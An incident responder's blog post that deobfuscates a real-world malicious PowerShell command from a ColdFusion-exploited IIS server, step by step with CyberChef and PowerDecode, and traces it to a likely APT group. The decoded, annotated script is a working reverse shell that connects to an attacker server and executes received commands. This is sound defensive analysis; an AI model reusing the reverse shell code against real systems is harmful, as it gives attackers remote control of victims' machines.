If you have not heard, Adobe’s ColdFusion has a killer RCE vulnerability. As a result, I have a few new Windows IIS webserver incidents to investigate. Most of the investigation focused on determining what the attacker did and if data exfiltration occurred. To answer this question, I had to perform a lot of PowerShell deobfuscation. So I wanted to write up my process to deobfuscate malicious PowerShell and maybe help those facing the same challenge in the future.

PSA - The more you know meme

Before I jump into this malicious PowerShell deobfuscation process, I want to have a little PSA. None of this process would have been possible if proper Windows Logging had not been set up. So please, install Sysmon, configure remote PowerShell logging, and configure Windows audit logging.

Now on to the good stuff!

Short on time? TLDR

PowerShell Deobfuscation Tools

We will need a few tools to deobfuscate malicious PowerShell safely. Here is a list of the tools I use.

  • FlareVM – A Windows OS designed for Malware analysis and incident response.
  • CyberChef – A free online tool for decoding.
  • PowerDecoder – A open-source tool to deobfuscate PowerShell.

Malicious PowerShell Warning

When you are dealing with malicious PowerShell or any malware, you need to make sure you take some precautions. If you do not have the time or space to build a full malware detonation environment, then you must do the following.

  • Have a dedicated analyst VM with all the software needed before beginning work.
  • A complete image of the analyst VM.
  • The VM must be kept fully offline until restored to a clean state.

The last point, some malware can escape the VM level and jump to the hypervisor level. This is very rare and depends on what hypervisor you are using and if an exploit exists at that time. This is why a full malware lab needs complete physical segmentation.

With the warnings out of the way, let’s jump into this!

Obfuscated Malicious PowerShell

The following was taken from a real-world incident. This incident has many other logs and alerts, but I will only show and deobfuscate one event.

An alert of Malicious PowerShell came in, and with help from my remote logging server, I started investigating the Sysmon logs from the server in question. The below image shows a new process creation log containing malicious PowerShell. You cannot see in the image that the working directory for the PowerShell process is the “C:\Fusion21\cfusion\bin\” directory. The working directory strongly indicates what executable is responsible for this new process. Thus narrowing the search for the initial compromise.

Let’s start the deobfuscation process to learn more about the attacker and the incident.

Obfuscate Malicious PowerShell in Sysmon log file

Here is just the PowerShell command. You can use it to follow along with this walkthrough.


Looking at the blob of characters following “powershell -ec”, they appear to be Base64 encoded text; the “==” at the end really gives this away. However, let’s confirm this assumption.

Decoding Malicious PowerShell With CyberChef

We are going to use CyberChef to help us decode the PowerShell text. Take just the character string and paste them into the CyberChef input window. Then select the “Magic” recipe, and check the “Intensive mode” checkbox. In the lower left-hand side output window, you will see the output of the brute-force decoding process. Look through these results for the one with the fewest errors and looks like a script or command.

Decoding Malicious PowerShell With CyberChef BRUTE-FORCE

Reviewing the brute-force decoding process output reveals the input text appears to be Base64 encoded. However, there also seems to be additional text encoding, which is unknown.

Let’s add Base64 decoding to our CyberChef recipe and re-run the brute-force decode process(Magic recipe).

Decoding Malicious PowerShell With CyberChef

The brute-force decoding process spits out a version with no errors, unknown symbols, or random characters. So it appears to be Base64 encoded, then UTF-16LE encoded. Let’s add that to our CyberChef recipe to reveal the complete final output. See below.

Decoding Malicious PowerShell With CyberChef

The “CR” letters in red are Carage Returns; this is normal for Windows systems.

We have removed a layer of obfuscation, but the script itself is still written to be unreadable. It’s time to run the code securely, enabling us to turn the unreadable code into readable code.

Deobfuscate Malicious PowerShell with PowerDecode

Flare-VM by Mandiant logo

There are many methods to deobfuscate PowerShell, including manually. However, there is a great tool to speed up the process. PowerDecode is an open-source tool on GitHub that can help us turn unreadable code into its true final, readable version.

I will be running PowerDecode inside a special Windows VM. The Windows VM has been set up with a suite of malware analyst tools. This special VM is called Flare-VM and is built and managed by Mandiant. It is like how Kali Linux is a bunch of tools pre-installed on Debian for offensive security, whereas Flare-VM is a bunch of forensic tools installed on Windows for reverse engineering. If you plan on doing a lot of Windows malware analysis I recommend you build out a Flare-VM.

Running PowerDecode Inside Flare-VM

  1. Copy the complete text output from CyberChef that we decoded in the last step. Save that decoded text to a text(.TXT) file inside the Flare-VM or your analysis VM. I named mine “powershell_obfuc_1.txt“.
  2. Clone or download the PowerDecode tool to the analysis VM.
  3. Take the VM offline, meaning you must access the VM via the console only.
  4. Navigate the directory you put PowerDecode in and right-click “GUI.ps1”, then click “Run with PowerShell.”
PowerDecode to Deobfuscate Malicious PowerShell
  1. A new PowerShell window will appear, and we want to use option number 1 to use “Automatic decode mode.”
PowerDecode to Deobfuscate Malicious PowerShell
  1. In the next menu, use option number 1 since we will only be deobfuscating one file. However, you could deobfuscate many files all at once if you needed to.
PowerDecode to Deobfuscate Malicious PowerShell
  1. You will now see a popup explorer window to select the file we want to deobfuscate. Navigate to the file we saved in step number 1 and open it.
PowerDecode to Deobfuscate Malicious PowerShell
  1. Next, we must choose an output directory to store the PowerDecode log containing the final deobfuscated PowerShell script. I keep all related case files in the same folder, so I suggest you do the same.
PowerDecode to Deobfuscate Malicious PowerShell

Finally, we have the results of what PowerDecode could deobfuscate for us. Below is the full transcript. Scroll down to the “Layer 2 – Plainscript” section to see the deobfuscated version.

______                     ______                   _
| ___ \                    |  _  \                 | |
| |_/ /____      _____ _ __| | | |___  ___ ___   __| | ___
|  __/ _ \ \ /\ / / _ \ '__| | | / _ \/ __/ _ \ / _` |/ _ \
| | | (_) \ V  V /  __/ |  | |/ /  __/ (_| (_) | (_| |  __/
\_|  \___/ \_/\_/ \___|_|  |___/ \___|\___\___/ \__,_|\___|

                   PowerShell Script Decoder

Obfuscated script file loaded
Deobfuscating IEX-dependent layers
Syntax is good, layer stored successfully
Deobfuscating current layer by overriding
Execution stopped after  2 seconds due timeout
All detected obfuscation layers have been removed
Deobfuscating current layer by regex

Layer 1 - Obfuscation type: String-Based

set-VariabLe  38bJ  ( [TyPe]("{3}{2}{1}{0}"-f'G','n','odi','tEXT.eNc')  );${H`St} = ("{3}{0}{1}{2}" -f'.100.23','3.20','1','185');
${P`Rt} = 80;

function WatcH`Er() {;
    ${L`IMiT} = (.("{0}{2}{1}"-f'Get','andom','-R') -Minimum 3 -Maximum 7);
    ${sToP`WaT`cH} = &("{1}{2}{0}" -f'ject','New-O','b') -TypeName ("{6}{5}{7}{1}{4}{0}{2}{3}"-f'p','t','wa','tch','o','ys','S','tem.Diagnostics.S');
    ${ti`MeSp`AN} = &("{3}{2}{1}{0}" -f'eSpan','-Tim','ew','N') -Seconds ${LI`M`iT};
    while(((${S`T`OpWaTcH}."eLAp`s`Ed")."tO`T`ALse`coNdS" -lt ${TIme`s`Pan}."tO`TALsecon`ds") ) {};
    ${St`OPwa`TcH}.("{0}{1}" -f 'St','op').Invoke();

&("{0}{1}"-f 'watc','her');
${a`RR} = &("{0}{1}{2}"-f'N','ew-Obje','ct') ("{1}{0}"-f 't[]','in') 500;
for (${i} = 0; ${I} -lt 99; ${i}++) {;
    ${a`Rr}[${i}] = (&("{0}{3}{2}{1}" -f 'Get-','om','d','Ran') -Minimum 1 -Maximum 25);

if(${a`RR}[0] -gt 0) {;
    ${VAL`k`sDhfg} = .("{1}{2}{0}"-f 'ct','New-Ob','je') ("{6}{0}{2}{3}{1}{5}{7}{8}{4}"-f 'm','.TCP','.Net.Sock','ets','t','C','Syste','lie','n')(${H`st},${P`Rt});
    ${banLJ`S`DFn} = ${VA`L`KSd`Hfg}.("{0}{1}{2}" -f 'G','etStre','am').Invoke();[byte[]]${b`yT`Es} = 0..65535|&('%'){0};
    while((${I} = ${BAN`ljsd`FN}.("{1}{0}"-f'd','Rea').Invoke(${b`ytEs}, 0, ${B`YteS}."LeN`Gth")) -ne 0){;
        ${LK`JnsDF`FAa} = (.("{0}{1}{2}"-f'New-O','bjec','t') -TypeName ("{5}{0}{6}{3}{4}{2}{1}" -f'st','coding','En','Text','.ASCII','Sy','em.'))."g`Ets`TRIng"(${ByT`eS},0, ${I});
        ${N`sDFGs`AhjxX} = (&(&("{1}{0}"-f'm','gc')(("{0}{2}{1}" -f'*','-exp*','ke'))) ${lkJ`Ns`dF`FAA} 2>&1 | .("{1}{2}{0}"-f'ng','Out-St','ri') );
        ${NsD`F`GsaH`JXx2} = ${nSDf`gSAH`jxX} + (&("{0}{1}"-f 'p','wd'))."P`ATH" + "> ";
        ${se`NDB`YTe} = ( ${38`Bj}::"as`ciI").("{1}{0}"-f'ytes','GetB').Invoke(${nsDfg`saH`JxX2});
        ${ba`NL`j`SDFN}.("{0}{1}"-f 'W','rite').Invoke(${seN`DBy`TE},0,${SEN`d`By`Te}."L`ENG`Th");
        ${bAN`L`JSdFN}.("{0}{1}" -f 'Fl','ush').Invoke();
        &("{0}{2}{1}"-f 'w','r','atche')};


Layer 2 - Plainscript

set-VariabLe  38bJ  ( [TyPe]'tEXT.eNcodinG'  );${HSt} = '';
${PRt} = 80;

function WatcHEr() {;
    ${LIMiT} = (Get-Random -Minimum 3 -Maximum 7);
    ${sToPWaTcH} = New-Object -TypeName 'System.Diagnostics.Stopwatch';
    ${tiMeSpAN} = New-TimeSpan -Seconds ${LIMiT};
    while(((${STOpWaTcH}.eLApsEd).tOTALsecoNdS -lt ${TImesPan}.tOTALseconds) ) {};

${aRR} = New-Object 'int[]' 500;
for (${i} = 0; ${I} -lt 99; ${i}++) {;
    ${aRr}[${i}] = (Get-Random -Minimum 1 -Maximum 25);

if(${aRR}[0] -gt 0) {;
    ${VALksDhfg} = New-Object 'System.Net.Sockets.TCPClient'(${Hst},${PRt});
    ${banLJSDFn} = ${VALKSdHfg}.GetStream.Invoke();[byte[]]${byTEs} = 0..65535|&('%'){0};
    while((${I} = ${BANljsdFN}.Read.Invoke(${bytEs}, 0, ${BYteS}.LeNGth)) -ne 0){;
        ${LKJnsDFFAa} = (New-Object -TypeName 'System.Text.ASCIIEncoding').gEtsTRIng(${ByTeS},0, ${I});
        ${NsDFGsAhjxX} = (&(&gcm('*ke-exp*')) ${lkJNsdFFAA} 2>&1 | Out-String );
        ${NsDFGsaHJXx2} = ${nSDfgSAHjxX} + (pwd)."PATH> ";
        ${seNDBYTe} = ( ${38Bj}::"asciI").GetBytes.Invoke(${nsDfgsaHJxX2});


Checking shellcode
Checking variables content
Checking URLs http response
No valid URLs found.

Declared Variables:
Shellcode detected:

Execution Report:

Sample was not on the repository!
Decoding terminated. Report file has been saved to C:\Users\James\Documents\PowerShell_IR-044_C20230420-55\PowerDecode_report_5153f8c5-324f-49fb-94c8-e9c15a0663f3.txt
Press Enter to continue...:

We now have a human-readable version of the malicious PowerShell script. We can now review it and see what information we can gather.

Parsing Malicious PowerShell Code

Take the deobfuscated version of the PowerShell code from the PowerDecode log or console, and save it to a new text file.

Let’s take a look at the code to see what we can find out about our attacker!

deobfuscated PowerShell code in Notepad++
Manually testing PowerShell snippets to understand its function
Click to Enlarge

If you have some experience writing PowerShell or DotNet, you will quickly get the gist of this script.

If you are unfamiliar with this language, you may need to look up some of the commands to understand what is happening. You can also take one or a few lines of the code and run it in the PowerShell console to see and understand the output. See the example on the right where I confirmed what the “for” loop was doing and its output.

My last tip is to open the script in Notepad++. In Notepad++, when you select a text string, it will highlight all other matching strings. In the above image of Notepad++, you can see I highlight a variable, so all other matching variables became highlighted. This is very helpful when manually reading through the code.

What is Happening Here?

Below is the script with my explanation of what is happening in line with the code.

set-VariabLe  38bJ  ( [TyPe]'tEXT.eNcodinG'  );
${HSt} = ''; <-- IP to call for reverse shell
${PRt} = 80; <-- Port number to call back to for reverse shell.

# The whole "watcher" function is just a random 3 to 7 second timeout.
function WatcHEr() {;
    ${LIMiT} = (Get-Random -Minimum 3 -Maximum 7); <-- Random # from 3 to 7.
    ${sToPWaTcH} = New-Object -TypeName 'System.Diagnostics.Stopwatch'; <-- method to accurately measure elapsed time
    ${tiMeSpAN} = New-TimeSpan -Seconds ${LIMiT}; <-- Get the time it will be $limit secdonds from now.
    ${stOpWATCH}.Start.Invoke(); <-- start the stopwatch function to messure time.
# Wait till the time has elapsed.
    while(((${STOpWaTcH}.eLApsEd).tOTALsecoNdS -lt ${TImesPan}.tOTALseconds) ) {};
    ${StOPwaTcH}.Stop.Invoke(); <-- stop the stopwatch function to messure time.

watcher; < -- Run "watcher" function.
${aRR} = New-Object 'int[]' 500; < -- Create 500, zero(0) value integers

# below for loop rewrites the first 100 zero value 
#  integers of "$arr" with a new random value between 1 and 25.
for (${i} = 0; ${I} -lt 99; ${i}++) {;
    ${aRr}[${i}] = (Get-Random -Minimum 1 -Maximum 25);

# This last part opens a TCP socket to connect the IP and port listed above, thus creating a reverse shell backdoor.
if(${aRR}[0] -gt 0) {;
    ${VALksDhfg} = New-Object 'System.Net.Sockets.TCPClient'(${Hst},${PRt}); <-- Create a TCP Stream object.
    ${banLJSDFn} = ${VALKSdHfg}.GetStream.Invoke();<-- Start the TCP steam to C2 server IP.
    [byte[]]${byTEs} = 0..65535|&('%'){0}; <-- Creates an array called bytes of type byte that has 65536 zeros for its values. 
    while((${I} = ${BANljsdFN}.Read.Invoke(${bytEs}, 0, ${BYteS}.LeNGth)) -ne 0){; <--  While incoming data stream("$banLJSDFn") is not empty, data stream data moved to variable $I.
        ${LKJnsDFFAa} = (New-Object -TypeName 'System.Text.ASCIIEncoding').gEtsTRIng(${ByTeS},0, ${I}); <-- Take the data strea("$I"), convert it to a ASCII string. AKA: take binary stream, and turn into text commands to be executed.
        ${NsDFGsAhjxX} = (&(&gcm('*ke-exp*')) ${lkJNsdFFAA} 2>&1 | Out-String ); <-- Execute the sent command and save the output to this variable("$NsDFGsAhjxX").
        ${NsDFGsaHJXx2} = ${nSDfgSAHjxX} + (pwd)."PATH> "; <-- adds the current remote working dir.
        ${seNDBYTe} = ( ${38Bj}::"asciI").GetBytes.Invoke(${nsDfgsaHJxX2}); <-- Convert the console output to binary and store in a variable("$seNDBYTe").
        ${baNLjSDFN}.Write.Invoke(${seNDByTE},0,${SENdByTe}.LENGTh); <-- Send the data back over the same TCP data stream socket.
        ${bANLJSdFN}.Flush.Invoke(); <-- Flush the data just sent to prepare for next loop.
        watcher <-- run "watcher" function.
	}; <-- End of while loop
    ${vaLksdHFg}.Close.Invoke(); <-- Close the TCP socket.

}; < -- End of If loop.

Obfuscated code analysis summary.

  • Open a TCP connection to IP “” on port 80.
  • Wait for commands, with a short random timeout between checking for new commands.
  • Get commands, execute them, and save the output to a variable.
  • Return the saved command’s output to the server.
  • Repeat

This is a pretty basic reverse shell, but we have learned valuable intel about our attackers!

Data Learned from Deobfuscated Malicious PowerShell

The key detail we learned is the attacker’s C2 server IP address. We can use this information with other logs to check if the attacker succeeded. The firewall logs can be used now to determine if the reverse shell connection was made and, if it did, how much data was transmitted. Finding these details is very important because our incident became a breach if the connection was made. Breaches may come with many regulatory and disclosure requirements.

Further Googling parts of the code also led me to a Bleeping Computer report posted in February 2022. The post describes an Iranian-aligned hacking group tracked as TunnelVision, which used an obfuscated PowerShell script nearly identical to the one used in this incident. While exact attribution is not possible, this is a strong indicator. Now that I have an idea of the APT likely involved, I can build defenses to that group’s TTPs.

TLDR; Deobfuscating Malicious PowerShell From Real-World Incident

TLDR; Deobfuscating Malicious PowerShell From Real-World Incident

A few common methods of obfuscating PowerShell code to hide its true intent exist. However, with the help of some open-source tools and time, we can uncover the code’s true purpose. In doing so we can learn a lot about our attacker and help us better defend against them in the future.

Here is an overview of the tools you can use.

Lastly, remember you need to prepare for incidents like this one in advance. You need to have the tools and procedures ready before an incident, so you can move quickly when it does happen.